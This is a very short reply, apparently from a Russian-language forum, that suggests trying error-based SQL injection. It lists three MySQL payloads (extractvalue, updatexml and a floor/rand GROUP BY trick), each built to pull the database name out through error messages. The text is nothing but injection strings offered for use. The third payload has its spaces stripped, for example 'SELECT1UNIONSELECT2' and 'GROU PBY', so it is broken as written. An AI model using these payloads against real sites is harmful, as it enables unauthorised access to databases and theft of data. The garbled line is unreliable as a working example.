Пробуй Error based

and extractvalue(1,concat(0x3a,(database())))-- -

and updatexml(NULL,concat(0x3a, ( select database())),Null)-- -

SELECT COUNT(*)FROM(SELECT1UNIONSELECT2UNIONSELECT3)xGROU PBYCONCAT(MID(database(),1,63),FLOOR(RAND(0)*2))-- -